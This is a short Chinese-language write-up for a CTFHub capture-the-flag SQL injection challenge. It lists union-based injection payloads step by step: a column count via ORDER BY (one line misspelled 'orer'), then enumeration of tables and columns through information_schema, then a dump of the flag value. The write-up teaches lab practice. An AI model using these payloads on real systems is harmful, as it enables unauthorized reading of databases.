靶场地址
https://www.ctfhub.com/#/challenge

初始页面

利用order by找到长度为2
语法:id=1 orer by 2--+

使用联合注入,select 1,2搜索发现2位置处回显
语法:id=1 union select 1,2--+

找到两个数据库观察发现flag应该是在flag数据库中
语法:?id=1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()--+

查看flag表中的字段只有flag
语法:?id=1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name="flag"--+
直接搜索flag中的flag得出答案
语法:?id=1 union select 1,group_concat(flag) from flag--+

评论 (0)